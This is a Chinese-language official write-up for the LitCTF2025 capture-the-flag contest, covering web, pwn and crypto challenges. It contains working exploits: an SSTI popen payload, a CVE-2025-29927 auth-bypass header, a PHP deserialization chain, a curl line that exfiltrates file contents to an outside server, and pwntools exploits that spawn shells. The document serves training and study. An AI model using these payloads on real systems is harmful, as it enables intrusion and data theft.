LitCTF2025 官方WP

->WEB方向

星愿信箱

进入题目

图片[1],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

任意输入后,回显输入的内容

图片[2],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

观察数据包是由python语言编写

推测Flask框架下的SSTI注入漏洞

使用经典{{7*7}}尝试判断是否存在模版注入

图片[3],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

被waf掉

双括号被过滤

图片[4],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

使用flask控制语句{%%}以{%end%}结尾

(括号内可控制语句,定义变量,写循环判断)

于是使用{%if().__class__%}123{%endif%}

如果__class__类下存在内容就输出123

图片[5],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

存在SSTI模版注入

使用print打印内容

图片[6],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

查找父类

图片[7],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

查找所有类

图片[8],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

目标:调用os._wrap_close下的popen函数执行任意命令

构造payload对__subclasses__类进行爆破

图片[9],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

在137出现flag

图片[10],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

Payload:

{"name":"{%print(().__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('tac /flag').read())%}"}

nest_js

考点25年最新的CVE(原意是强口令无法爆破 需要CVE才能进 非预期给大家磕了)

图片[11],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

所有路径均跳/login 路由

图片[12],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

CVE-2025-29927

添加请求头绕过鉴权

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
图片[13],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

easy_file

打开容器发现登录框

图片[14],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

查看源代码有个参数是file的提示

图片[15],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

先留意住提示

输入admin/123456抓包

base64加密

图片[16],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

爆破密码

图片[17],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[18],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

密码password

图片[19],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

上传文件fuzz后发现只能上传txt和jpg

图片[20],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

使用PHP绕过短标签

图片[21],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

结合之前的file 推测有文件包含

图片[22],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

再次构造上传即可

图片[23],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

多重宇宙日记

打开链接

先注册⼀个账户 例如 lontano:lontano11

图片[24],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[25],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

然后测试⼀下他的更新功能

图片[26],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

抓包分析

图片[27],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[28],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

构造如下

{
 "settings": {
 "__proto__": {
 "isAdmin": true
           }
      }
}

刷新看到我们已经是管理员

图片[29],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

得到flag

图片[30],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

easy_signin

看到了很多非预期,flag写到html目录了,意外

图片[31],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

此题前面js逆向偏向SRC漏洞挖掘实战

打开是403页面,扫目录

图片[32],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

访问/login.html

任意抓个包提示账号错误

图片[33],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

账号为admin

观察数据包username和password都有加密 且有时间戳和X-sign

图片[34],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

js逆向 sign的组成为账号和密码的前六位+时间戳+秘钥

写脚本爆破密码

import hashlib
import time
import requests


def md5_hash(text):
    """模拟前端MD5计算逻辑"""
    return hashlib.md5(text.encode('utf-8')).hexdigest()


def get_request_details(request_obj):
    """提取请求包详细信息"""
    return {
        "method": request_obj.method,
        "url": request_obj.url,
        "headers": dict(request_obj.headers),
        "body": request_obj.body.decode('utf-8') if request_obj.body else ""
    }


def main():
    target_url = 'http://node6.anna.nssctf.cn:27064/login.php'
    secret_key = 'easy_signin'
    username = 'admin'
    
    md5_username = md5_hash(username)
    short_md5_user = md5_username[:6]

    try:
        with open('6000password.txt', 'r', encoding='utf-8') as f:
            passwords = [line.strip() for line in f.readlines() if line.strip()]
    except FileNotFoundError:
        print("错误:未找到6000password.txt文件")
        return
    except Exception as e:
        print(f"读取文件失败:{str(e)}")
        return

    for raw_password in passwords:
        md5_password = md5_hash(raw_password)
        short_md5_pass = md5_password[:6]
        timestamp = str(int(time.time() * 1000))
        
        sign_str = f"{short_md5_user}{short_md5_pass}{timestamp}{secret_key}"
        sign = md5_hash(sign_str)

        data = {
            'username': md5_username,
            'password': md5_password,
            'timestamp': timestamp
        }

        headers = {
            'Content-Type': 'application/x-www-form-urlencoded',
            'X-Sign': sign,
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36',
            'Origin': 'http://node6.anna.nssctf.cn:27064',
            'Referer': 'http://node6.anna.nssctf.cn:27064/login.html'
        }

        try:
            response = requests.post(target_url, headers=headers, data=data, timeout=10)
            result = response.json()
            
            if result.get('code') == 200:
                # 获取完整请求包信息
                request_package = get_request_details(response.request)
                
                print("\n========== 爆破成功 ==========")
                print(f"正确密码:{raw_password}")
                print(f"响应信息:{result.get('msg')}")
                print("\n========== 完整请求包 ==========")
                print(f"方法: {request_package['method']}")
                print(f"URL: {request_package['url']}")
                print("请求头:")
                for k, v in request_package['headers'].items():
                    print(f"  {k}: {v}")
                print("请求体:")
                print(f"  {request_package['body']}")
                return
                
            else:
                print(f"密码[{raw_password}]尝试失败:{result.get('msg')}")
                
        except requests.exceptions.RequestException as e:
            print(f"请求异常:{str(e)},当前密码:{raw_password}")
            continue
        except (ValueError, KeyError) as e:
            print(f"响应解析失败:{str(e)},当前密码:{raw_password}")
            continue

    print("所有密码尝试完毕,未找到正确密码")


if __name__ == '__main__':
    main()
图片[35],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

访问/dashboard.php

图片[36],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

访问backup/8e0132966053d4bf8b2dbe4ede25502b.php提示非本地用户

图片[37],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

观察源代码api.js发现了ssrf触发点

图片[38],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

且file协议可用

图片[39],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

查看源代码

图片[40],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

使用服务器外带

构造如下命令 二次编码

curl "http://IP:端口/$(cat /var/www/html/327a6c4304ad5938eaf0efb6cc3e53d*.php  | tr '\n' ' ' | base64 -w 0)
图片[41],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

查看/var/www/html

图片[42],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[43],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

拿flag即可

图片[44],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

君の名は

Litsasuk师傅博客Litctf2025-君の名はwp – Litsasuk – 博客园

题目如下

<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
    private $musubi;
    private $magic;
    public function __unserialize(array $data)
    {
        $this->musubi = $data['musubi'];
        $this->magic = $data['magic'];
        return ($this->musubi)();
    }
    public function __call($func,$args){
        (new $args[0]($args[1]))->{$this->magic}();
    }
}

class Mitsuha
{
    private $memory;
    private $thread;
    public function __invoke()
    {
        return $this->memory.$this->thread;
    }
}

class KatawareDoki
{
    private $soul;
    private $kuchikamizake;
    private $name;

    public function __toString()
    {
        ($this->soul)->flag($this->kuchikamizake,$this->name);
        return "call error!no flag!";
    }
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
    unserialize($Litctf2025);
}else{
    echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

思路

初步看一下,代码比较简单,就四个魔术方法,链子非常的ez,然后来看下利用点

create_function("", 'die(`/readflag`);');

先是实例化了一个类,然后调用了这个类的一个方法,发现这个方法调用只有函数名是可控的,参数只能为空,可以尝试调用简单的phpinfo()等无参函数。

再来看下面一段代码

create_function("", 'die(`/readflag`);');

用create_function创建了一个匿名函数,直接执行了/readflag,也就是说只要调用这个匿名函数就能输出flag,于是我们的思路就清楚了:

  • 找到一个可以调用匿名函数的原生类
  • 找到匿名函数的名字

直接搜发现ReflectionFunction的invoke方法可以调用函数

看下php手册的示例用法:

图片[45],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

ReflectionFunction的参数就是要调用的函数名,invoke的参数就是被调函数的参数,这个用法和我们的利用思路刚好吻合,invoke不用传参数。

然后就是找匿名函数的名字,这个也很简单,甚至都不用上网搜,直接像这样就能输出函数名

图片[46],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[47],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

但是,还没完

匿名函数的函数名是会改变的!在web页面中打开php文件,每刷新一次函数名的数字就会加一,\000lambda_1只是第一次访问题目环境时匿名函数的名字,所以最好是重新开启一个环境来提交payload

图片[48],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

还有一个知识点就是__call($func,$args)的传参问题:

假如我们触发__call($func,$args)调用的函数是

flag($arg1,$arg2)

那么触发__call($func,$args)时$func就会被赋值为”flag”;$args就会被赋值为flag()的参数构成的数组。所以要给$args赋值需要在flag()的参数里赋值。

绕过

这里用一个类来对链子进行包装,然后开头的O就会被自动转换为C

具体查看2023愚人杯3rd [easy_php]

可以使用的类有很多:

  • ArrayObject::unserialize
  • ArrayIterator::unserialize
  • RecursiveArrayIterator::unserialize
  • SplObjectStorage::unserialize

链子

<?php
highlight_file(__FILE__);
error_reporting(0);
class Taki
{
    public $musubi;
    public $magic = "invoke";
}

class Mitsuha
{
    public $memory;
    public $thread;
}

class KatawareDoki
{
    public $soul;
    public $kuchikamizake = "ReflectionFunction";
    public $name = "\000lambda_1";
}
$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();

$a->musubi = $b;		// 1.把对象当成函数调用,触发__invoke()
$b->thread = $c;		// 2. 把对象作为字符串使用,触发__toString()
$c->soul = $a;			// 3. 调用不存在的方法,触发__call()

$arr=array("evil"=>$a);
$d=new ArrayObject($arr);
echo urlencode(serialize($d));

EXP

Litctf2025=C%3A11%3A%22ArrayObject%22%3A244%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bs%3A4%3A%22evil%22%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3BO%3A7%3A%22Mitsuha%22%3A2%3A%7Bs%3A6%3A%22memory%22%3BN%3Bs%3A6%3A%22thread%22%3BO%3A12%3A%22KatawareDoki%22%3A3%3A%7Bs%3A4%3A%22soul%22%3Br%3A4%3Bs%3A13%3A%22kuchikamizake%22%3Bs%3A18%3A%22ReflectionFunction%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22%00lambda_1%22%3B%7D%7Ds%3A5%3A%22magic%22%3Bs%3A6%3A%22invoke%22%3B%7D%7D%3Bm%3Aa%3A0%3A%7B%7D%7D

非预期

直接在return ($this->musubi)();处调用匿名函数,抱歉出题疏忽惹,能发现这个的师傅真的很强。

<?php
highlight_file(__FILE__);
error_reporting(0);
class Taki
{
    public $musubi = "\000lambda_1";
    public $magic = "";
}
$a = new Taki();

$arr=array("evil"=>$a);
$d=new ArrayObject($arr);
echo urlencode(serialize($d));
Litctf2025=C%3A11%3A%22ArrayObject%22%3A95%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bs%3A4%3A%22evil%22%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3Bs%3A9%3A%22%00lambda_1%22%3Bs%3A5%3A%22magic%22%3Bs%3A0%3A%22%22%3B%7D%7D%3Bm%3Aa%3A0%3A%7B%7D%7D
图片[49],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

->PWN方向

test_your_nc

命令执行绕过

#!/bin/python3
import os

print("input your command")

blacklist = ['cat','ls',' ','cd','echo','<','${IFS}','sh','\\']

while True:
    command = input()
    for i in blacklist:
        if i in command:
            exit(0)
    os.system(command)

绕过的payload很多 $0/bin/s? s''h等都可以直接拿到shell

图片[50],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

shellcode

沙箱只允许 open,read 没有write

图片[51],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

侧信道爆破,参考

https://www.cnblogs.com/ZIKH26/articles/16546513.html

from pwn import *
import time

context(arch='amd64',os='linux')
#context.log_level='debug'
file="./shellcode"
elf=ELF(file)

flag=""
for i in range (len(flag),0x50):
    left=32
    right=127
    
    while left<right:
        #io=process(file)
        #io=remote("127.0.0.1",1235)
        io=remote("node6.anna.nssctf.cn","20334")
        mid = (left + right) >> 1
        shellcode=("""mov r10,rax 
                    add r10,0x200""")
        shellcode+=(shellcraft.open('flag'))

        shellcode+=(f"""
                    mov rdi,3
                    mov rsi,r10
                    mov rdx,0x50
                    xor rax,rax
                    syscall
                    mov dl, byte ptr [r10+{i}]
                    mov cl,{mid}
                    cmp dl,cl
                    ja loop
                    mov al,60
                    syscall
                    loop:
                    jmp loop
                    """)
        #gdb.attach(io)
        #pause()
        io.recvuntil(b'Please input your shellcode: \n')
        io.sendline(asm(shellcode))
        

        try:
            io.recv(timeout=1.5)
            left=mid+1
                
        except:
            right=mid
        #io.close()
        print(left,right)

master_of_rop

图片[52],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

栈溢出,但是没有pop rdi 的gadget,利用ret2get泄露libc,之后就是常规打法
ret2gets参考文章:
https://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets

在gets之后,rdi会变成 _IO_stdfile_0_lock结构体

图片[53],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网


结构体定义如下,其中owner与libc的地址是一个固定偏移0x28c0

图片[54],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
typedef struct {

int lock;

int cnt;

void *owner;

} _IO_lock_t;

在不影响lock的前提下泄露owner地址

图片[55],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[56],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

exp

from pwn import *

context(arch='amd64',os='linux')

context.log_level='debug'

file="./pwn"

elf=ELF(file)

libc=ELF('libc.so.6')

DOCKER_PORT=""

REMOTE_NC_CMD    = "nc node4.anna.nssctf.cn 28340"

  

def conn():

    if args.LOCAL:

        return process([file])

    if args.GDB:

        return gdb.debug([file], gdbscript=script)

    if args.DOCKER:

        return remote("localhost", DOCKER_PORT)

    return remote(REMOTE_NC_CMD.split()[1], int(REMOTE_NC_CMD.split()[2]))

io=conn()

s  = lambda x: io.send(x)

ru =lambda x: io.recvuntil(x, drop=True)

sl =lambda x: io.sendline(x)

rc=lambda x:io.recv(x)

sa = lambda x, y: io.sendafter(x, y)

sla = lambda x, y: io.sendlineafter(x, y)

ia = lambda: io.interactive()

  

script ="""

b *0x4011D9

"""

def dbg():

    global script

    if args.LOCAL:

        gdb.attach(io,script)

        pause()

    else:

        pass

#dbg()

ru(b'Welcome to LitCTF2025!')

main = 0x04011AD

  

ret=0x4011DF

payload=b'a'*0x20+flat(0xdeadbeef,elf.plt.gets,elf.plt.gets,elf.plt.puts,main)

dbg()

#pause()

#pause()

sl(payload)

print(io.recv())

sl(p32(0) + b'a'*4 + b'b'*8 + p32(0) + b'c'*4)

sl((b'd'*4))

libc.address=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))+ 0x28c0

print("libc_base: ",hex(libc.address))

  

system=libc.sym['system']

bin_sh=next(libc.search(b'/bin/sh\x00'))

pop_rdi=next(libc.search(asm('pop rdi;ret'),executable=True))

payload2=b'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system)

ru(b'Welcome to LitCTF2025!')

sl(payload2)

ia()

onlyone

图片[57],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网


只有一次printf的机会,之后会调用exit退出,且为非栈上格式化字符串漏洞

图片[58],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网


核心考点是利用%n和%x$n不同时处理,来编辑一个不存的的指针从而修改printf函数的返回地址,进而我们可以多次调用printf来修改返回地址为one_gadget

修改printf返回地址
这是调用printf之前的栈帧,圈起来的地址是后面printf函数的返回地址,

图片[59],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网


因为是非栈上格式化字符串利用,所以我们要想修改这个值,必须还要在栈上布置一个二级指针

图片[60],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网


可以先利用这条链,修改为我们返回地址的地址,之后利用%n和%x$n处理差异,再来修改我们的返回地址

图片[61],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网


完整payload 如下

value=stack&0xffff
fmt=b"%p"*9
fmt+=b"%"+str(value-0x11-90).encode()+b"c%hn"
fmt+=b"%"+str(0x100ba-(value-0xf)).encode()+b"c%39$hhn
fmt=fmt.ljust(0x100,b'\x00')
s(fmt)

前面9个%p充当占位符并泄露地址,%hn前面总共有是个%,也就是%hn对应的是第十一个参数位置,就如图所示,

图片[62],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网


后面的payload利用这条来修改返回地址

图片[63],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网


之后我们就可以重复上述步骤,修改栈顶rsp(也就是ret+8)为one_gadget(因为需要多次两个字节两个字节修改),最后把printf返回地址修改成ret,来触发one_gadget

图片[64],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[65],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[66],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[67],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[68],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[69],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[70],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
图片[71],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

完整exp:

from pwn import *

context(arch='amd64',os='linux')

context.log_level='debug'

file="./pwn"

elf=ELF(file)

libc=ELF('libc-2.31.so')

DOCKER_PORT=""

REMOTE_NC_CMD    = "nc node1.anna.nssctf.cn 28875"

  

def conn():

    if args.LOCAL:

        return process([file])

    if args.GDB:

        return gdb.debug([file], gdbscript=script)

    if args.DOCKER:

        return remote("localhost", DOCKER_PORT)

    return remote(REMOTE_NC_CMD.split()[1], int(REMOTE_NC_CMD.split()[2]))

io=conn()

s  = lambda x: io.send(x)

ru =lambda x: io.recvuntil(x, drop=True)

sl =lambda x: io.sendline(x)

rc=lambda x:io.recv(x)

sa = lambda x, y: io.sendafter(x, y)

sla = lambda x, y: io.sendlineafter(x, y)

ia = lambda: io.interactive()

  

script ="""

b *$rebase(0x008ba)

b *$rebase(0x008dc)

b *$rebase(0x00954)

"""

def dbg():

    global script

    gdb.attach(io,script)

    pause()

                           #0x7ffe965d0408 —▸ 0x7ffe965d04f8 —▸ 0x7ffe965d1dc8

ru(b'0x')                  #0x7ffe965d0408

stack=int(io.recv(12),16)  #0x7fffffffd9c8

ret=stack+0x11                           #0x7fffffffd9b7

print("stack:",hex(stack))

dbg()

ru(b'0x')

libc.address=int(io.recv(12),16)-libc.sym['puts']

print("libc_base:",hex(libc.address))

ogg=[0xe3afe,0xe3b01,0xe3b04][1]+libc.address

print("ogg:",hex(ogg))

#dbg()

value=stack&0xffff

fmt=b"%p"*9

fmt+=b"%"+str(value-0x11-90).encode()+b"c%hn"

fmt+=b"%"+str(0x100ba-(value-0xf)).encode()+b"c%39$hhn"

  

#fmt+=b"%"+str(0).encode()+b"c%39$hhn"

fmt=fmt.ljust(0x100,b'\x00')

s(fmt)

fmt=b'%'+str(0xba).encode()+b"c%39$hhn"

fmt+=b'%'+str(value-7-0xba).encode()+b"c%27$hn"

fmt=fmt.ljust(0x100,b'\x00')

s(fmt)

pause()

fmt=b'%'+str(0xba).encode()+b'c%39$hhn'

fmt+=b'%'+str((ogg&0xffff)-0xba).encode()+b'c%41$hn'

fmt=fmt.ljust(0x100,b'\x00')

s(fmt)

  

fmt=b'%'+str(0xba).encode()+b'c%39$hhn'

fmt+=b'%'+str(((value-7+2))-0xba).encode()+b'c%27$hn'

fmt=fmt.ljust(0x100,b'\x00')

s(fmt)

pause()

  

fmt=b'%'+str(0xba).encode()+b'c%39$hhn'

fmt+=b'%'+str(((ogg>>16)&0xffff)-0xba).encode()+b'c%41$hn'

fmt=fmt.ljust(0x100,b'\x00')

s(fmt)

  
  

pause()

fmt=b'%'+str(0xba).encode()+b'c%39$hhn'

fmt+=b'%'+str(((value-7+2+2))-0xba).encode()+b'c%27$hn'

fmt=fmt.ljust(0x100,b'\x00')

s(fmt)

  

fmt=b'%'+str(0xba).encode()+b'c%39$hhn'

fmt+=b'%'+str(((ogg>>32)&0xffff)-0xba).encode()+b'c%41$hn'

fmt=fmt.ljust(0x100,b'\x00')

s(fmt)

  

pause()

fmt=b'%'+str(0x954).encode()+b'c%39$hn'

fmt=fmt.ljust(0x100,b'\x00')

s(fmt)

  

ia()

->Crypto方向

basic

题目源码

      
from Crypto.Util.number import *
from enc import flag 

m = bytes_to_long(flag)
n = getPrime(1024)
e = 65537
c = pow(m,e,n)
print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")

'''
n = 150624321883406825203208223877379141248303098639178939246561016555984711088281599451642401036059677788491845392145185508483430243280649179231349888108649766320961095732400297052274003269230704890949682836396267905946735114062399402918261536249386889450952744142006299684134049634061774475077472062182860181893
e = 65537
c = 22100249806368901850308057097325161014161983862106732664802709096245890583327581696071722502983688651296445646479399181285406901089342035005663657920475988887735917901540796773387868189853248394801754486142362158369380296905537947192318600838652772655597241004568815762683630267295160272813021037399506007505
'''

图片[72],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
from Crypto.Util.number import *
n = 150624321883406825203208223877379141248303098639178939246561016555984711088281599451642401036059677788491845392145185508483430243280649179231349888108649766320961095732400297052274003269230704890949682836396267905946735114062399402918261536249386889450952744142006299684134049634061774475077472062182860181893
e = 65537
c = 22100249806368901850308057097325161014161983862106732664802709096245890583327581696071722502983688651296445646479399181285406901089342035005663657920475988887735917901540796773387868189853248394801754486142362158369380296905537947192318600838652772655597241004568815762683630267295160272813021037399506007505
phi = n-1
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
flag = long_to_bytes(m)
print(flag)

math

题目源码

from Crypto.Util.number import *
from enc import flag

m = bytes_to_long(flag)
e = 65537
p,q = getPrime(1024),getPrime(1024)
n = p*q
noise = getPrime(40)
tmp1 = noise*p+noise*q
tmp2 = noise*noise
hint = p*q+tmp1+tmp2
c = pow(m,e,n)
print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
print(f"hint = {hint}")
'''
n = 17532490684844499573962335739488728447047570856216948961588440767955512955473651897333925229174151614695264324340730480776786566348862857891246670588649327068340567882240999607182345833441113636475093894425780004013793034622954182148283517822177334733794951622433597634369648913113258689335969565066224724927142875488372745811265526082952677738164529563954987228906850399133238995317510054164641775620492640261304545177255239344267408541100183257566363663184114386155791750269054370153318333985294770328952530538998873255288249682710758780563400912097941615526239960620378046855974566511497666396320752739097426013141
e = 65537
c = 1443781085228809103260687286964643829663045712724558803386592638665188285978095387180863161962724216167963654290035919557593637853286347618612161170407578261345832596144085802169614820425769327958192208423842665197938979924635782828703591528369967294598450115818251812197323674041438116930949452107918727347915177319686431081596379288639254670818653338903424232605790442382455868513646425376462921686391652158186913416425784854067607352211587156772930311563002832095834548323381414409747899386887578746299577314595641345032692386684834362470575165392266454078129135668153486829723593489194729482511596288603515252196
hint = 17532490684844499573962335739488728447047570856216948961588440767955512955473651897333925229174151614695264324340730480776786566348862857891246670588649327068340567882240999607182345833441113636475093894425780004013793034622954182148283517822177334733794951622433597634369648913113258689335969565315879035806034866363781260326863226820493638303543900551786806420978685834963920605455531498816171226961859405498825422799670404315599803610007692517859020686506546933013150302023167306580068646104886750772590407299332549746317286972954245335810093049085813683948329319499796034424103981702702886662008367017860043529164
'''

图片[73],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网
from Crypto.Util.number import *
import gmpy2
from z3 import *

n = 17532490684844499573962335739488728447047570856216948961588440767955512955473651897333925229174151614695264324340730480776786566348862857891246670588649327068340567882240999607182345833441113636475093894425780004013793034622954182148283517822177334733794951622433597634369648913113258689335969565066224724927142875488372745811265526082952677738164529563954987228906850399133238995317510054164641775620492640261304545177255239344267408541100183257566363663184114386155791750269054370153318333985294770328952530538998873255288249682710758780563400912097941615526239960620378046855974566511497666396320752739097426013141
e = 65537
c = 1443781085228809103260687286964643829663045712724558803386592638665188285978095387180863161962724216167963654290035919557593637853286347618612161170407578261345832596144085802169614820425769327958192208423842665197938979924635782828703591528369967294598450115818251812197323674041438116930949452107918727347915177319686431081596379288639254670818653338903424232605790442382455868513646425376462921686391652158186913416425784854067607352211587156772930311563002832095834548323381414409747899386887578746299577314595641345032692386684834362470575165392266454078129135668153486829723593489194729482511596288603515252196
hint = 17532490684844499573962335739488728447047570856216948961588440767955512955473651897333925229174151614695264324340730480776786566348862857891246670588649327068340567882240999607182345833441113636475093894425780004013793034622954182148283517822177334733794951622433597634369648913113258689335969565315879035806034866363781260326863226820493638303543900551786806420978685834963920605455531498816171226961859405498825422799670404315599803610007692517859020686506546933013150302023167306580068646104886750772590407299332549746317286972954245335810093049085813683948329319499796034424103981702702886662008367017860043529164
noise = 942430120937
p,q = Ints('p q')
s = Solver()
s.add(p*q==n)
s.add((p+noise)*(q+noise)==hint)
if s.check()==sat:
    result = s.model()
    p = result[p].as_long()
    q = result[q].as_long()
    phi = (p-1)*(q-1)
    d = gmpy2.invert(e,phi)
    m = pow(c,d,n)
    flag = long_to_bytes(m)
    print(flag)

ez_math

题目源码

from sage.all import *
from Crypto.Util.number import *
from uuid import uuid4

flag = b'flag{'+ str(uuid4()).encode() + b'}'
flag = bytes_to_long(flag)
len_flag = flag.bit_length()
e = 65537
p = getPrime(512)
P = GF(p)
A = [[flag,                 getPrime(len_flag)],
     [getPrime(len_flag),   getPrime(len_flag)]]
A = matrix(P, A)
B = A ** e

print(f"e = {e}")
print(f"p = {p}")
print(f"B = {list(B)}".replace('(', '[').replace(')', ']'))

# e = 65537
# p = 8147594556101158967571180945694180896742294483544853070485096002084187305007965554901340220135102394516080775084644243545680089670612459698730714507241869
# B = [[2155477851953408309667286450183162647077775173298899672730310990871751073331268840697064969968224381692698267285466913831393859280698670494293432275120170, 4113196339199671283644050914377933292797783829068402678379946926727565560805246629977929420627263995348168282358929186302526949449679561299204123214741547], [3652128051559825585352835887172797117251184204957364197630337114276860638429451378581133662832585442502338145987792778148110514594776496633267082169998598, 2475627430652911131017666156879485088601207383028954405788583206976605890994185119936790889665919339591067412273564551745588770370229650653217822472440992]]
图片[74],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

exp

from sage.all import *
from Crypto.Util.number import *
from uuid import uuid4

flag = b'flag{'+ str(uuid4()).encode() + b'}'
flag = bytes_to_long(flag)
len_flag = flag.bit_length()
e = 65537
p = getPrime(512)
P = GF(p)
A = [[flag,                 getPrime(len_flag)],
     [getPrime(len_flag),   getPrime(len_flag)]]
A = matrix(P, A)
B = A ** e

print(f"e = {e}")
print(f"p = {p}")
print(f"B = {list(B)}".replace('(', '[').replace(')', ']'))

# e = 65537
# p = 8147594556101158967571180945694180896742294483544853070485096002084187305007965554901340220135102394516080775084644243545680089670612459698730714507241869
# B = [[2155477851953408309667286450183162647077775173298899672730310990871751073331268840697064969968224381692698267285466913831393859280698670494293432275120170, 4113196339199671283644050914377933292797783829068402678379946926727565560805246629977929420627263995348168282358929186302526949449679561299204123214741547], [3652128051559825585352835887172797117251184204957364197630337114276860638429451378581133662832585442502338145987792778148110514594776496633267082169998598, 2475627430652911131017666156879485088601207383028954405788583206976605890994185119936790889665919339591067412273564551745588770370229650653217822472440992]]

baby

题目源码

import gmpy2
from Crypto.Util.number import *
from enc import flag


m = bytes_to_long(flag)
g = getPrime(512)
t = getPrime(150)
data = (t * gmpy2.invert(m, g)) % g
print(f'g = {g}')
print(f'data = {data}')
'''
g = 7835965640896798834809247993719156202474265737048568647376673642017466116106914666363462292416077666356578469725971587858259708356557157689066968453881547
data = 2966297990428234518470018601566644093790837230283136733660201036837070852272380968379055636436886428180671888655884680666354402224746495312632530221228498
'''

图片[75],LitCTF2025 官方WP,网络安全爱好者中心-神域博客网

exp:

#sage
from tqdm import *
from Crypto.Util.number import *

g = 7835965640896798834809247993719156202474265737048568647376673642017466116106914666363462292416077666356578469725971587858259708356557157689066968453881547
data = 2966297990428234518470018601566644093790837230283136733660201036837070852272380968379055636436886428180671888655884680666354402224746495312632530221228498
for i in trange(100,400):
    D = 2**i
    M = Matrix(ZZ,[[1,data*D],[0,g*D]])
    res = M.LLL()
    if res:
        m,x = res[0]
        m = abs(m)
        flag = long_to_bytes(m)
        if b'LitCTF{' in flag:
            print(flag)
            break

leak

题目源码

from Crypto.Util.number import *
from enc import flag

m = bytes_to_long(flag)
p,q,e = getPrime(1024),getPrime(1024),getPrime(101)
n = p*q
temp = gmpy2.invert(e,p-1)
